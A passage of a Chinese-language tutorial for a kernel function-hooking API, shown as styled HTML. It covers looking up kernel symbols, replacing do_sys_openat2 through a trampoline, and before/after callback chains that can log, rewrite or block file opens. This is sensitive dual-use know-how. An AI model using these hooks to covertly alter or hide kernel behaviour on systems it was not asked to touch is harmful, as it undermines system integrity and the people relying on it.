leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> addr = ksyms_lookup(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;do_sys_openat2&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 带缓存版本：首次查找后缓存结果，后续直接命中</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> addr2 = ksyms_lookup_cache(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;vfs_read&#34;</span></span><span leaf="">);</span></code></pre><p data-line="70" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksyms_lookup_cache</span></code><span leaf=""> 在全局缓存表中维护 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">(name, addr)</span></code><span leaf=""> 映射。对于反复查找同一符号的场景（如模块初始化期间多次引用），可显著减少开销。</span></p><h3 data-line="70" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2.3 函数替换</span></h3><p data-line="74" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">最直接的 Hook 方式：用自定义函数完全取代目标函数。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="76" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;hook.h&gt;</span></span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> orig_func;</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 替换函数，签名必须与目标函数一致</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">my_openat2</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> dfd, </span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *filename,</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> open_how *how, </span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> usize)</span></span><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 自定义前置逻辑 ...</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> ret = ((typeof(&amp;my_openat2))orig_func)(dfd, filename, how, usize);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 自定义后置逻辑 ...</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> ret;</span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> __init </span><span style="color: rgb(128, 128, 128);"><span leaf="">example_init</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> target = ksyms_lookup(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;do_sys_openat2&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> err = hook((</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)target, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)my_openat2, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> **)&amp;orig_func);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> err;</span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> __exit </span><span style="color: rgb(128, 128, 128);"><span leaf="">example_exit</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> target = ksyms_lookup(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;do_sys_openat2&#34;</span></span><span leaf="">);</span><br/><span leaf="">    unhook((</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)target);</span><br/><span leaf="">}</span></code></pre><p data-line="105" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook()</span></code><span leaf=""> 在目标函数入口写入跳板指令，跳转到 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">my_openat2</span></code><span leaf="">。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">orig_func</span></code><span leaf=""> 指向一段经过重定位的代码——它执行被跳板覆盖的原始指令后，跳回原函数继续运行。</span></p><h3 data-line="105" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2.4 回调链</span></h3><p data-line="109" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">相比直接替换，回调链（Hook Wrap）更灵活——多个模块可以在同一函数上注册 before/after 回调，彼此互不干扰：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="111" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;hook.h&gt;</span></span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// before 回调：在目标函数执行前调用</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// hook_fargs4_t 表示目标函数有 4 个参数</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">before_openat2</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">hook_fargs4_t</span></span><span leaf=""> *fargs, </span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *udata)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> dfd = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf="">)fargs-&gt;arg0;</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *filename = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *)fargs-&gt;arg1;</span><br/><span leaf="">    logki(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;openat2: dfd=%d, file=%s&#34;</span></span><span leaf="">, dfd, filename);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 修改参数</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// fargs-&gt;arg1 = (uint64_t)new_filename;</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 跳过原始函数并直接返回</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// fargs-&gt;skip_origin = true;</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// fargs-&gt;ret = -EPERM;</span></span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// after 回调：在目标函数执行后调用</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">after_openat2</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">hook_fargs4_t</span></span><span leaf=""> *fargs, </span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *udata)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> ret = fargs-&gt;ret;</span><br/><span leaf="">    logki(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;openat2 returned: %ld&#34;</span></span><span leaf="">, ret);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 修改返回值</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// fargs-&gt;ret = -EACCES;</span></span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> __init </span><span style="color: rgb(128, 128, 128);"><span leaf="">example_init</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> target = ksyms_lookup(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;do_sys_openat2&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// hook_wrap4: 4 参数的便捷宏，优先级默认为 0</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> err = hook_wrap4(target, before_openat2, after_openat2, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> err;</span><br/><span leaf="">}</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> __exit </span><span style="color: rgb(128, 128, 128);"><span leaf="">example_exit</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> target = ksyms_lookup(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;do_sys_openat2&#34;</span></span><span leaf="">);</span><br/><span leaf="">    hook_unwrap(target, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)before_openat2, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)after_openat2);</span><br/><span leaf="">}</span></code></pre><p data-line="155" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_wrapN</span></code><span leaf=""> 是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_wrap</span></code><span leaf=""> 的便捷宏，N 表示目标函数的参数个数（0 到 12），默认优先级为 0。完整形式为：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="157" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">hook_wrap</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *func, </span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> argno, </span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *before, </span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *after,</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *udata, </span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> priority)</span></span><span leaf="">;</span></code></pre><p data-line="162" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">其中 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">before</span></code><span leaf=""> 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">after</span></code><span leaf=""> 均可为 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">NULL</span></code><span leaf="">——只传 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">before</span></code><span leaf=""> 可以做纯拦截，只传 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">after</span></code><span leaf=""> 可以做纯审计。</span></p><h4 data-line="160" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">多回调与优先级</span></h4><p data-line="166" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">同一目标函数上可注册最多 </span><strong><span leaf="">8 个</span></strong><span leaf="">回调。每个回调携带一个</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">priority</span></code><span leaf="">值，决定执行顺序：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">before 回调</span></strong><p><span leaf="">：按 priority </span><strong><span leaf="">降序</span></strong><span leaf="">执行——值越大越先执行</span></p></li><li style=""><strong><span leaf="">after 回调</span></strong><p><span leaf="">：按 priority </span><strong><span leaf="">升序</span></strong><span leaf="">执行——值越小越先执行</span></p></li></ul><p data-line="171" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这形成了洋葱式的包裹结构：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="173" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">before(100) -&gt; before(50) -&gt; before(0)</span><br/><span leaf="">  -&gt; 原始函数 -&gt;</span><br/><span leaf="">after(0) -&gt; after(50) -&gt; after(100)</span></code></pre><p data-line="179" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">多回调注册示例：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="181" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> target = ksyms_lookup(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;do_sys_openat2&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 高 priority 值的 before 回调先执行</span></span><br/><span leaf="">hook_wrap(target, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)audit_callback,  </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">100</span></span><span leaf="">);</span><br/><span leaf="">hook_wrap(target, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)filter_callback, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">50</span></span><span leaf="">);</span><br/><span leaf="">hook_wrap(target, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">, (</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *)log_callback,    </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// before 执行顺序：audit(100) -&gt; filter(50) -&gt; log(0) -&gt; 原始函数</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// after 执行顺序：log(0) -&gt; filter(50) -&gt; audit(100)</span></span></code></pre><h4 data-line="191" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: 